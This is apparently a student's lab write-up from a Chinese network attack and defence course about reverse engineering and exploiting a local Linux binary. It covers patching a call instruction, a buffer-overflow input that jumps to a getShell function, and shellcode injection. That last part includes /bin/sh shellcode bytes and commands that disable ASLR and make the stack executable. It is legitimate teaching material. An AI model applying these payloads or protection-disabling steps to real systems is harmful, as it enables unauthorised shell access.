2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

一、实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。


二、基础知识

  • 熟悉Linux基本操作
  • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理。
  • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。
  • 缓冲区溢出概图:
    1298409-20190316150411869-632856639.jpg

三、Exp1.1 直接修改程序机器指令,改变程序执行流程

实验步骤:
  • 反汇编:查看pwn20165237的代码机器指令和汇编语言
objdump -d pwn20165237 | more

1298409-20190316145954981-1602025060.png

  • 进行编辑:
vi pwn20165237

在vi里面进行以下步骤

  • 使用 :%!xxd显示模式切换为16进制模式
  • 使用 /e8d7查找要修改的内容
    ,并将d7修改成c3,保存并退出
  • 将16进制转换回原格式 :%!xxd -r,:wq!退出
    1298409-20190316150101675-1190025510.png

  • 进行反汇编查看机器指令和汇编语言
objdump -d pwn20165237 | more

1298409-20190316150236993-2099029512.png

  • 验证:
./pwn20165237

1298409-20190316150315590-1070102059.png


四、Exp1.2通过构造输入参数,造成BOF攻击,改变程序执行流

实验步骤
  • 确认返回地址:
objdump -d pwn5237 | more

查看getshell()的内存地址
1298409-20190316150508561-1712195897.png

  • 对pwn5237进行GDB调试,运行并输入进行尝试 1111111122222222333333334444444412345678
    1298409-20190316150541461-413431151.png

  • 得到ASCII码值 0x34333231 也就是倒序的1234
    我们需要将其替换成getshell的返回地址 0x0804847d
  • 生成包含字符串的文件

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
  • 使用命令
(cat input;cat) | ./pwn5237

将input的内容作为./pwn5237的输入,并验证结果
1298409-20190316150722918-1569480510.png


五、Exp1.3Shellcode注入攻击

 安装execstack:apt-get install execstack

 设置堆栈可执行: execstack -s pwn1    

 查询文件的堆栈是否可执行: execstack -q pwn1  

 关闭地址随机化: echo "0" > /proc/sys/kernel/randomize_va_space 

 查看地址随机化是否已经关闭: more /proc/sys/kernel/randomize_va_space
  

1298409-20190316150746180-1017132945.png

  • 注入攻击
    1298409-20190316150805564-1968433709.png

  • 再打开一个终端Ctrl+Alt+t,找到进程号为33071

  • 使用gdb调试进程
gdb pwn1

attach 33071

disassemble foo

break *0x080484ae

continue

info r esp

x/16x 0xffffd30c

1298409-20190316150937343-1661852955.png

  • 通过计算,得到shellcode的地址是0xffffd310
    1298409-20190316150959465-947338290.png

  • 输入指令:
perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode
  • 验证:
    1298409-20190316151015437-906995173.png

六、实验感想与问题

  • 感想:这次实验,通过和舍友的讨论以及百度的帮助让我对缓冲区溢出攻击有了更深刻的认识,尤其是栈的溢出与替换;实验操作过程中根据指导书按部就班得做没有什么困难,希望能够再接再厉,学到更多有用的知识!

  • 什么是漏洞?漏洞有什么危害?

答:漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。本次实验的缓冲区溢出原理就是一个漏洞。他们会使计算机遭受病毒和黑客攻击,将自己的私人信息泄露出去。


转载于:https://www.cnblogs.com/Miss-moon/p/10542405.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值